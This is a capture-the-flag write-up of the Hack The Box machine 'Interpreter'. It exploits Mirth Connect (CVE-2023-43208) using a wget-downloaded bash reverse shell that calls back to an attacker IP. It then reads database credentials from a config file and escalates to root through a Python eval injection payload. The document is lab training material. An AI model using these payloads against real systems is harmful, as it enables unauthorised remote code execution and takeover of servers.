Description

Interpreter is a medium Hack The Box machine that features:

  • Mirth Connect Remote Command Execution
  • Mirth Connect database enumeration to find available channels
  • Enumeration of internal opened ports to find a Mirth Connect channel and an unknown application
  • Privilege Escalation via Python Command Injection in an internal application

Footprinting

First, we are going to check with ping command if the machine is active and the system operating system. The target machine IP address is 10.129.2.28.

$ ping -c 3 10.129.2.28
PING 10.129.2.28 (10.129.2.28) 56(84) bytes of data.
64 bytes from 10.129.2.28: icmp_seq=1 ttl=63 time=45.1 ms
64 bytes from 10.129.2.28: icmp_seq=2 ttl=63 time=46.2 ms
64 bytes from 10.129.2.28: icmp_seq=3 ttl=63 time=44.5 ms

--- 10.129.2.28 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 44.510/45.282/46.232/0.714 ms

The machine is active and with the TTL that equals 63 (64 minus 1 jump) we can assure that it is an Unix machine. Now we are going to do a Nmap TCP SYN port scan to check all opened ports.

$ sudo nmap 10.129.2.28 -sS -oN nmap_scan
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.2.28
Host is up (0.048s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https

Nmap done: 1 IP address (1 host up) scanned in 1.53 seconds

We get three open ports: 22, 80 and 443.

Enumeration

Then we do a more advanced scan, with service version and scripts.

$ nmap 10.129.2.28 -sV -sC -p22,80,443 -oN nmap_scan_ports
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.2.28
Host is up (0.045s latency).

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey: 
|   256 07:eb:d1:b1:61:9a:6f:38:08:e0:1e:3e:5b:61:03:b9 (ECDSA)
|_  256 fc:d5:7a:ca:8c:4f:c1:bd:c7:2f:3a:ef:e1:5e:99:0f (ED25519)
80/tcp  open  http     Jetty
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Mirth Connect Administrator
443/tcp open  ssl/http Jetty
|_ssl-date: TLS randomness does not represent time
|_http-title: Mirth Connect Administrator
| ssl-cert: Subject: commonName=mirth-connect
| Not valid before: 2025-09-19T12:50:05
|_Not valid after:  2075-09-19T12:50:05
| http-methods: 
|_  Potentially risky methods: TRACE
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.36 seconds

We get three services: one Secure Shell (SSH), and two Hypertext Transfer Protocol (HTTP) (one secure). As we don’t have feasible credentials for the SSH service we are going to move to the HTTP service. When we open the web service we find the Mirth Connect Administrator service in both 80 and 443 ports. Mirth Connect is a cross-platform engine for HL7 that enables bidirectional HL7 message sending between systems and applications over multiple available formats.

Exploitation

NextGen Healthcare Mirth Connect before version 4.4.1 is vulnerable to unauthenticated remote code execution, CVE-2023-43208. We have available a proof of concept of the vulnerability developed by jakabakos in GitHub. We are going to create a malicious Bash script that will spawn a reverse shell and then host it using a HTTP server with Python.

$ mkdir server
$ cd server
$ echo 'bash -i >& /dev/tcp/10.10.14.180/1234 0>&1' > shell.sh
$ python -m http.server 80

Then we use the PoC to download the scripts, give it the appropiate permissions and finally spawn the reverse shell. We should firstly start a listening TCP port with the nc -nvlp 1234 command.

$ git clone https://github.com/jakabakos/CVE-2023-43208-mirth-connect-rce-poc
$ cd CVE-2023-43208-mirth-connect-rce-poc
$ python CVE-2023-43208.py -u https://10.129.2.28/ -c "wget -O /tmp/shell.sh http://10.10.14.180/shell.sh"
$ python CVE-2023-43208.py -u https://10.129.2.28/ -c "chmod +x /tmp/shell.sh"
$ python CVE-2023-43208.py -u https://10.129.2.28/ -c "bash /tmp/shell.sh"

We receive the reverse shell as the mirth user, we upgrade it.

$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.180] from (UNKNOWN) [10.129.2.28] 52840
bash: cannot set terminal process group (3452): Inappropriate ioctl for device
bash: no job control in this shell
mirth@interpreter:/usr/local/mirthconnect$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
mirth@interpreter:/usr/local/mirthconnect$ ^Z
$ stty raw -echo; fg
$ reset xterm
mirth@interpreter:/usr/local/mirthconnect$ export SHELL=bash; export TERM=xterm; stty rows 48 columns 156

Post-Exploitation

We find two console users in the system: sedric and root.

mirth@interpreter:/usr/local/mirthconnect$ grep sh /etc/passwd
root:x:0:0:root:/root:/bin/bash
sshd:x:102:65534::/run/sshd:/usr/sbin/nologin
sedric:x:1000:1000:sedric,,,:/home/sedric:/bin/bash

We find that root user is running a Python script found in /usr/local/bin/notif.py file. We do not have permissions to read it.

mirth@interpreter:/usr/local/mirthconnect$ ps -ef | grep root
...
root        3453       1  0 ?        00:00:01 /usr/bin/python3 /usr/local/bin/notif.py
mirth@interpreter:/usr/local/mirthconnect$ ls -l /usr/local/bin/notif.py
-rwxr----- 1 root sedric 2332 Sep 19 09:27 /usr/local/bin/notif.py

We find internal running network application: in 6661 port (belongs to Mirth Connect), in 3306 (belongs to MySQL database) and 54321 (unknown).

mirth@interpreter:/usr/local/mirthconnect$ ss -tulnp
Netid       State        Recv-Q       Send-Q              Local Address:Port                Peer Address:Port       Process                                 
udp         UNCONN       0            0                         0.0.0.0:68                       0.0.0.0:*                                                  
tcp         LISTEN       0            50                        0.0.0.0:443                      0.0.0.0:*           users:(("java",pid=3452,fd=331))       
tcp         LISTEN       0            128                       0.0.0.0:22                       0.0.0.0:*                                                  
tcp         LISTEN       0            50                        0.0.0.0:80                       0.0.0.0:*           users:(("java",pid=3452,fd=327))       
tcp         LISTEN       0            256                       0.0.0.0:6661                     0.0.0.0:*           users:(("java",pid=3452,fd=335))       
tcp         LISTEN       0            80                      127.0.0.1:3306                     0.0.0.0:*                                                  
tcp         LISTEN       0            128                     127.0.0.1:54321                    0.0.0.0:*                                                  
tcp         LISTEN       0            128                          [::]:22                          [::]:*

We are going to enumerate the application in 54321 port. We find that it is a HTTP server.

mirth@interpreter:/usr/local/mirthconnect$ nc -nv 127.0.0.1 54321
(UNKNOWN) [127.0.0.1] 54321 (?) open
hi
<!DOCTYPE HTML>
<html lang="en">
    <head>
        <meta charset="utf-8">
        <title>Error response</title>
    </head>
    <body>
        <h1>Error response</h1>
        <p>Error code: 400</p>
        <p>Message: Bad request syntax ('hi').</p>
        <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
    </body>
</html>

Fingerprinting the response we can confirm that the web service running in 54321 port is a Python Django application. We find the credentials of the MySQL database in the /usr/local/mirthconnect/conf/mirth.properties file. With mirthdb username, MirthPass123! password and mc_bdd_prod database. We enumerate it.

mirth@interpreter:/usr/local/mirthconnect$ mysql -h 127.0.0.1 -u mirthdb  -p'MirthPass123!' -D mc_bdd_prod
MariaDB [mc_bdd_prod]> show tables;
+-----------------------+
| Tables_in_mc_bdd_prod |
+-----------------------+
| ALERT                 |
| CHANNEL               |
| CHANNEL_GROUP         |
| CODE_TEMPLATE         |
| CODE_TEMPLATE_LIBRARY |
| CONFIGURATION         |
| DEBUGGER_USAGE        |
| D_CHANNELS            |
| D_M1                  |
| D_MA1                 |
| D_MC1                 |
| D_MCM1                |
| D_MM1                 |
| D_MS1                 |
| D_MSQ1                |
| EVENT                 |
| PERSON                |
| PERSON_PASSWORD       |
| PERSON_PREFERENCE     |
| SCHEMA_INFO           |
| SCRIPT                |
+-----------------------+
21 rows in set (0.000 sec)

We find a table named CHANNEL. In Mirth Connect, a channel is a configuration entity that defines how data flows between systems, including input, transformation, and output. It consists of source and destination connectors, along with any message transformations or filters. We have one channel registered: INTERPRETER - HL7 TO XML TO NOTIFY

MariaDB [mc_bdd_prod]> select * from CHANNEL;
...
| 24c915f9-d3e3-462a-a126-3511d3f3cd0a | INTERPRETER - HL7 TO XML TO NOTIFY |        5 | <channel version="4.4.0">
  <id>24c915f9-d3e3-462a-a126-3511d3f3cd0a</id>
  <nextMetaDataId>2</nextMetaDataId>
  <name>INTERPRETER - HL7 TO XML TO NOTIFY</name>
  <description></description>
  <revision>5</revision>
  <sourceConnector version="4.4.0">
    <metaDataId>0</metaDataId>
    <name>sourceConnector</name>
    <properties class="com.mirth.connect.connectors.tcp.TcpReceiverProperties" version="4.4.0">
      <pluginProperties/>
      <listenerConnectorProperties version="4.4.0">
        <host>0.0.0.0</host>
        <port>6661</port>
      </listenerConnectorProperties>
...
      <inboundTemplate encoding="base64">TVNIfF5+XFwmfFdFQkFQUHxJTlRFUlBSRVRFUnxNSVJUSHxJTlRFUlBSRVRFUnxUSU1FU1RBTVB8fEFEVF5BMDF8fFB8Mi41ClBJRHwxfHxQQVRJRU5USUReXl5JTlRFUlBSRVRFUnx8TEFTVE5BTUVeRklSU1ROQU1FfHxEQVRFT0ZCSVJUSHxHRU5ERVI=</inboundTemplate>
      <outboundTemplate encoding="base64">PHBhdGllbnQ+CiAgPHRpbWVzdGFtcD48L3RpbWVzdGFtcD4KICA8c2VuZGVyX2FwcD48L3NlbmRlcl9hcHA+CiAgPGlkPjwvaWQ+CiAgPGZpcnN0bmFtZT48L2ZpcnN0bmFtZT4KICA8bGFzdG5hbWU+PC9sYXN0bmFtZT4KICA8YmlydGhfZGF0ZT48L2JpcnRoX2RhdGU+CiAgPGdlbmRlcj48L2dlbmRlcj4KPC9wYXRpZW50Pg==</outboundTemplate>
...
  <destinationConnectors>
    <connector version="4.4.0">
      <metaDataId>1</metaDataId>
      <name>Destination 1</name>
      <properties class="com.mirth.connect.connectors.http.HttpDispatcherProperties" version="4.4.0">
        <pluginProperties/>
        <destinationConnectorProperties version="4.4.0">
          <queueEnabled>false</queueEnabled>
...
        </destinationConnectorProperties>
        <host>http://127.0.0.1:54321/addPatient</host>
        <useProxyServer>false</useProxyServer>
        <proxyAddress></proxyAddress>

This Mirth Connect channel listens for HL7 messages on TCP port 6661, then transforms the data into an XML format using base64-encoded templates. After transformation, it sends the processed data to an HTTP endpoint at http://127.0.0.1:54321/addPatient, that’s the Python application we saw previously. We can decode the XML template contained in outboundTemplate:

<patient>
  <timestamp></timestamp>
  <sender_app></sender_app>
  <id></id>
  <firstname></firstname>
  <lastname></lastname>
  <birth_date></birth_date>
  <gender></gender>
</patient>

It seems if we send a filled XML to the 54321 service we will get an output. Let’s try it. We need to specify that this content is XML in the Content-Type header.

mirth@interpreter:/usr/local/mirthconnect$ wget -q -O- --header='Content-Type: application/xml' --method=POST --body-data='<patient><timestamp>12345</timestamp><sender_app>application</sender_app><id>12345</id><firstname>Name</firstname><lastname>Lastname</lastname><birth_date>01/01/2020</birth_date><gender>M</gender></patient>' http://127.0.0.1:54321/addPatient; echo -e "\n"
Patient Name Lastname (M), 6 years old, received from application at 12345

We receive the Patient Name Lastname (M), 6 years old, received from application at 12345 text, so it seems that the application is printing the values we sent in the XML payload. Let’s try to check for Server Side Template Injection in Django by changing the name entity to {{request}}.

mirth@interpreter:/usr/local/mirthconnect$ wget -q -O- --header='Content-Type: application/xml' --method=POST --body-data='<patient><timestamp>12345</timestamp><sender_app>application</sender_app><id>12345</id><firstname>{{request}}</firstname><lastname>Lastname</lastname><birth_date>01/01/2020</birth_date><gender>M</gender></patient>' http://127.0.0.1:54321/addPatient; echo -e "\n"
Patient {request} Lastname (M), 6 years old, received from application at 12345

The application is removing one of the { and } characters. Let’s enter an invalid value, like {{request}.

mirth@interpreter:/usr/local/mirthconnect$ wget -q -O- --header='Content-Type: application/xml' --method=POST --body-data='<patient><timestamp>12345</timestamp><sender_app>application</sender_app><id>12345</id><firstname>{{request}</firstname><lastname>Lastname</lastname><birth_date>01/01/2020</birth_date><gender>M</gender></patient>' http://127.0.0.1:54321/addPatient; echo -e "\n"
[EVAL_ERROR] f-string: single '}' is not allowed (<string>, line 1)

We receive a EVAL_ERROR meaning that the string is being passed to the Python eval function, that we can use it to gain remote code execution. As it is removing one of the { characters we are going to pass code between the { and } symbols. In this case we are going to print the type of the string class with the type("test") code.

mirth@interpreter:/usr/local/mirthconnect$ wget -q -O- --header='Content-Type: application/xml' --method=POST --body-data='<patient><timestamp>12345</timestamp><sender_app>application</sender_app><id>12345</id><firstname>{type("test")}</firstname><lastname>Lastname</lastname><birth_date>01/01/2020</birth_date><gender>M</gender></patient>' http://127.0.0.1:54321/addPatient; echo -e "\n"
Patient <class 'str'> Lastname (M), 6 years old, received from application at 12345

We confirm the code execution as we are receiving the str type. We can gain this code execution to gain remote command execution to spawn a reverse shell as the user that is running the program, presumably root.

After some tries and checking that we cannot use spaces in the code we find a payload that will run commands in the machine by using Base64 encoding and the os.Popen Python function: {__import__("os").popen(__import__("base64").b64decode("<BASE64_STRING>").decode()).read()}.

We are going to use it to spawn a reverse shell after opening a listening TCP port listening in 1235 port. We reuse the previous shell.sh script but we will change the 1234 port to the 1235 one to run the bash /tmp/shell.sh command.

mirth@interpreter:/usr/local/mirthconnect$ wget -q -O- --header='Content-Type: application/xml' --method=POST --body-data='<patient><timestamp>12345</timestamp><sender_app>application</sender_app><id>12345</id><firstname>{__import__("os").popen(__import__("base64").b64decode("YmFzaCAvdG1wL3NoZWxsLnNo").decode()).read()}</firstname><lastname>Lastname</lastname><birth_date>01/01/2020</birth_date><gender>M</gender></patient>' http://127.0.0.1:54321/addPatient; echo -e "\n"

We receive the reverse shell as the root user.

$ nc -nvlp 1235
listening on [any] 1235 ...
connect to [10.10.14.180] from (UNKNOWN) [10.129.2.28] 40454
bash: cannot set terminal process group (3453): Inappropriate ioctl for device
bash: no job control in this shell
root@interpreter:/usr/local/bin# id
id
uid=0(root) gid=0(root) groups=0(root)

Flags

In the root shell we can retrieve user.txt and root.txt flags.

root@interpreter:/usr/local/bin# cat /home/sedric/user.txt
cat /home/sedric/user.txt
<REDACTED>
root@interpreter:/usr/local/bin# cat /root/root.txt
cat /root/root.txt
<REDACTED>